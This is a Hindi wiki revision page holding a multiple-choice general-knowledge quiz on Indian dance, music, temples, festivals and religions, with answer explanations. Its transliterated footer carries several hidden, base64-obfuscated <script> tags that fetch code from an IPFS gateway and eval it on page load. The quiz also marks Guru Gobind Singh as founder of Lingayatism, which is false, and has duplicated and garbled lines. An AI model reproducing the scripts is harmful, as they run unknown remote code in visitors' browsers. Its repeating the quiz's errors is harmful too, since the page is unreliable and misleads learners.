Difference between revisions of "कला-संस्कृति और धर्म सामान्य ज्ञान 22"

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{'[[छाऊ नृत्य]]' किस राज्य का प्रसिद्ध [[लोक नृत्य]] है?
 
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+[[उड़ीसा]]
 
-[[असम]]
 
-[[झारखण्ड]]
 
-[[पश्चिम बंगाल]]
 
||[[चित्र:Chhau-Dance.jpg|120px|right|छाऊ नृत्य]][[लोक नृत्य]] में [[छाऊ नृत्य]] रहस्‍यमय उद्भव वाला है। छाऊ नर्तक अपनी आं‍तरिक भावनाओं व विषय वस्‍तु को, शरीर के आरोह-अवरोह, मोड़-तोड़, संचलन व गत्‍यात्‍मक संकेतों द्वारा व्‍यक्‍त करता है। 'छाऊ' शब्‍द की अलग-अलग विद्वानों द्वारा भिन्‍न-भिन्‍न व्‍याख्‍या की गई है। छाऊ नृत्य की तीन विधाएँ मौजूद हैं, जो तीन अलग-अलग क्षेत्रों- 'सेराईकेला' ([[बिहार]]), 'पुरूलिया' ([[पश्चिम बंगाल]]) और 'मयूरभंज' ([[उड़ीसा]]) से शरू हुई हैं।{{point}}अधिक जानकारी के लिए देखें:-[[उड़ीसा]]
 
 
{प्रसिद्ध गायिका पीनाज मसानी किस गायिकी से सम्बंधित हैं?
 
|type="()"}
 
-शास्त्रीय गायन
 
+गजल गायिकी
 
-ठुमरी गायिकी
 
-कर्नाटक संगीत
 
 
{उमाकांत और रमाकांत गुंडेचा बंधु कौन हैं?
 
|type="()"}
 
+[[ध्रुपद]] के गायक
 
-[[कत्थक]] के नर्तक
 
-सरोज के संगीतज्ञ
 
-[[तबला]] वादक
 
||आज तक सर्वसम्मति से यह निश्चित नहीं हो पाया है, कि 'ध्रुपद' का अविष्कार कब और किसने किया। इस सम्बन्ध में विद्वानों के कई मत हैं। [[अकबर]] के समय में इसे [[तानसेन]] और उनके गुरु [[हरिदास|स्वामी हरिदास]], [[बैजू बावरा|नायक बैजू]] और [[गोपाल नायक|गोपाल]] आदि प्रख्यात गायक ही गाते थे। ध्रुपद गंभीर प्रकृति का गीत है। इसे गाने में कण्ठ और [[फेफड़ा|फेफड़े]] पर बल पड़ता है। इसलिए लोग इसे 'मर्दाना गीत' कहते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[ध्रुपद]]
 
 
{[[भुवनेश्वर]] तथा [[पुरी]] के मन्दिर किस शैली में निर्मित हैं?
 
|type="()"}
 
+नागर शैली
 
-द्रविड़ शैली
 
-[[मुग़लकालीन स्थापत्य एवं वास्तुकला|मुग़ल शैली]]
 
-राजपूत शैली
 
 
{[[बुद्ध]] के धार्मिक विचारों और वचनों का संग्रह किस [[ग्रंथ]] में है?
 
|type="()"}
 
+[[सुत्तपिटक]]
 
-[[विनयपिटक]]
 
-[[अभिधम्मपिटक]]
 
-[[जातक कथा]]
 
||[[चित्र:Buddhism-Symbol.jpg|right|80px|बौद्ध धर्म का प्रतीक]]'सुत्त' शब्द का शाब्दिक अर्थ है-'धर्मोपदेश'। [[महात्मा बुद्ध]] ने अपने जीवन में असंख्य कल्याणकारी उपदेश दिये थे। बुद्ध के धार्मिक विचारों व उपदेशों के संग्रह वाला गद्य-पद्य मिश्रित [[सुत्तपिटक]] सम्भवतः [[त्रिपिटक|त्रिपिटकों]] में सर्वाधिक बड़ा एवं श्रेष्ठ है। इस [[ग्रन्थ]] में महात्मा बुद्ध के अनमोल वचनों का सग्रंह है।{{point}}अधिक जानकारी के लिए देखें:-[[सुत्तपिटक]]
 
 
{सरहुल पर्व का सम्बन्ध किस राज्य से है?
 
|type="()"}
 
-[[राजस्थान]]
 
+[[झारखण्ड]]
 
-[[मध्य प्रदेश]]
 
-[[पश्चिम बंगाल]]
 
||[[चित्र:Vaidyanath-Temple.jpg|120px|right|वैद्यनाथ मन्दिर, देवघर]][[झारखण्ड]] के अधिकांश जनजातीय गाँवों में एक नृत्यस्थली होती है। प्रत्येक गाँव का अपना पवित्र वृक्ष (सरना) होता है, जहाँ गाँव के [[पुरोहित]] द्वारा [[पूजा]] अर्पित की जाती है। साप्ताहिक हाट जनजातीय अर्थव्यवस्था में महत्त्वपूर्ण भूमिका निभाती है। जनजातीय त्योहार, जैसे- 'सरहुल', 'बसंतोत्सव' (सोहरी) और 'शीतोत्सव' (माघ परब) आदि उल्लास के अवसर हैं।{{point}}अधिक जानकारी के लिए देखें:-[[झारखण्ड]]
 
 
{[[दुमका]] का 'हिजला मेला' किस नदी के किनारे आयोजित होता है?
 
|type="()"}
 
-[[दामोदर नदी|दामोदर]]
 
-[[स्वर्णरेखा नदी]]
 
-[[बराकर नदी|बराकर]]
 
+[[मयूराक्षी नदी दुमका|मयूराक्षी]]
 
||[[चित्र:Masanjore-Dam.jpg|120px|right|मसनजोर बांध, मयूराक्षी नदी]][[मयूराक्षी नदी दुमका|मयूराक्षी नदी]] का उद्गम स्थल [[त्रिकुट]] में है, जो [[वैद्यनाथधाम]] से 16 कि.मी. की दूरी पर स्थित है। मयूराक्षी नदी को 'मोड' नाम से भी जाना जाता है। यह नदी [[दुमका]], [[झारखण्ड]] की एक प्रमुख नदी है। इस नदी के किनारे पर आयोजित होने वाला 'हिजला मेला' अपनी सांस्कृतिक विरासत के लिए दूर-दूर तक जाना जाता है।{{point}}अधिक जानकारी के लिए देखें:-[[मयूराक्षी नदी दुमका|मयूराक्षी]]
 
 
{[[माउण्ट आबू]] का [[दिलवाड़ा जैन मंदिर|दिलवाड़ा मंदिर]] किसको समर्पित है?
 
|type="()"}
 
-[[भगवान विष्णु]]
 
-[[शिव|भगवान शिव]]
 
-[[बुद्ध|भगवान बुद्ध]]
 
+[[जैन|जैन तीर्थंकर]]
 
||[[चित्र:Jainism-Symbol.jpg|80px|right|जैन धर्म का प्रतीक]]'दिलवाड़ा जैन मंदिर' [[राजस्थान]] राज्य के [[सिरोही ज़िला|सिरोही ज़िले]] के [[माउंट आबू]] नगर में स्थित है। इन मंदिरों का निर्माण 11वीं से 13वीं शताब्दी के बीच में हुआ था। यह विशाल एवं दिव्य मंदिर [[जैन धर्म]] के तीर्थंकरों को समर्पित है। दिलवाड़ा जैन मंदिर का प्रवेशद्वार गुंबद वाले मंडप से होकर है, जिसके सामने एक वर्गाकृति भवन है। इसमें छ: स्तंभ और दस [[हाथी|हाथियों]] की प्रतिमाएँ हैं।{{point}}अधिक जानकारी के लिए देखें:-[[दिलवाड़ा जैन मंदिर|दिलवाड़ा मंदिर]] 
 
 
{[[राजस्थान]] की प्रसिद्ध 'ब्लू-पॉटरी' दस्तकारी का उद्भव कहाँ से हुआ?
 
|type="()"}
 
-[[कश्मीर]]
 
+पर्शिया
 
-[[अफ़ग़ानिस्तान]]
 
-[[सिन्ध]]
 
 
{[[भारत]] में [[भरहुत]] भूमि किससे सम्बन्धित है?
 
|type="()"}
 
-[[जैन धर्म]] से
 
+[[बौद्ध धर्म]] से
 
-[[हिन्दू धर्म]] से
 
-[[इस्लाम धर्म]] से
 
||[[चित्र:Buddha1.jpg|right|80px|बुद्ध प्रतिमा, मथुरा संग्रहालय]]बौद्ध धर्म का प्राचीन समय से ही [[भरहुत]] से गहरा सम्बन्ध रहा है। भरहुत प्रथम-द्वितीय शताब्दी ईसा पूर्व में निर्मित [[बौद्ध]] [[स्तूप]] तथा तोरणो के लिए [[साँची]] के समान ही प्रसिद्ध है। यह स्तूप [[शुंग काल|शुंगकालीन]] है, और अब इसके केवल अवशेष ही विद्यमान हैं। यह 68 फुट व्यास का बना था।{{point}}अधिक जानकारी के लिए देखें:-[[भरहुत]]
 
 
 
{'लिंगायत धर्म' के संस्थापक कौन माने जाते हैं?
 
{'लिंगायत धर्म' के संस्थापक कौन माने जाते हैं?
 
|type="()"}
 
|type="()"}
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-[[गुरु अर्जुन देव]]
 
-[[गुरु अर्जुन देव]]
 
+[[गुरु गोविन्द सिंह]]
 
+[[गुरु गोविन्द सिंह]]
||[[चित्र:Guru Gobind Singh.jpg|right|100px|गुरु गोविन्द सिंह]]गुरु गोविन्द सिंह सिक्खों के दसवें तथा अंतिम गुरु माने जाते हैं। इन्होंने युद्ध की प्रत्येक स्थिति में सदा तैयार रहने के लिए सिक्खों के लिए पाँच 'ककार' (कक्के) अनिवार्य घोषित किए थे, जिन्हें आज भी प्रत्येक [[सिक्ख]] धारण करना अपना गौरव समझता है। ये ककार थे, 'केश'-जिसे सभी गुरु और [[ऋषि]]-[[मुनि]] धारण करते आए थे; 'कंघा'-केशों को साफ करने के लिए; 'कच्छा'-स्फूर्ति के लिए; 'कड़ा'-नियम और संयम में रहने की चेतावनी देने के लिए; 'कृपाण'-आत्मरक्षा के लिए।  
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||[[चित्र:Guru Gobind Singh.jpg|right|100px|गुरु गोविन्द सिंह]]गुरु गोविन्द सिंह सिक्खों के दसवें तथा अंतिम गुरु माने जाते हैं। इन्होंने युद्ध की प्रत्येक स्थिति में सदा तैयार रहने के लिए सिक्खों के लिए पाँच 'ककार' (कक्के) अनिवार्य घोषित किए थे, जिन्हें आज भी प्रत्येक [[सिक्ख]] धारण करना अपना गौरव समझता है। ये ककार थे, 'केश'-जिसे सभी गुरु और [[ऋषि]]-[[मुनि]] धारण करते आए थे; 'कंघा'-केशों को साफ़ करने के लिए; 'कच्छा'-स्फूर्ति के लिए; 'कड़ा'-नियम और संयम में रहने की चेतावनी देने के लिए; 'कृपाण'-आत्मरक्षा के लिए।  
 
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Latest revision as of 12:15, 1 February 2017

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala praangan, kala kosh, sanskriti praangan, sanskriti kosh, dharm praangan, dharm kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean

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1 'liangayat dharm' ke sansthapak kaun mane jate haian?

aangulimal
buddhagupt
upagupt
vasav

2 'tirthakar' shabd kis dharm se sambandhit hai?

bauddh dharm
eesaee dharm
jain dharm
hindoo dharm

3 'pablo pikaso' kahaan ka prasiddh chitrakar tha?

jarmani
gris
spen
japan

4 'sua nrity' kis janajati se sambandhit hai?

baiga se
mu diya se
mariya se
korakoo se

5 khalasaoan ke paanch anivary lakshan (paanch kakke) kisane nirdharit kie the?

guru nanak dev
guru ramadas
guru arjun dev
guru govind sianh

panne par jaean

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samany jnan prashnottari
rajyoan ke samany jnan

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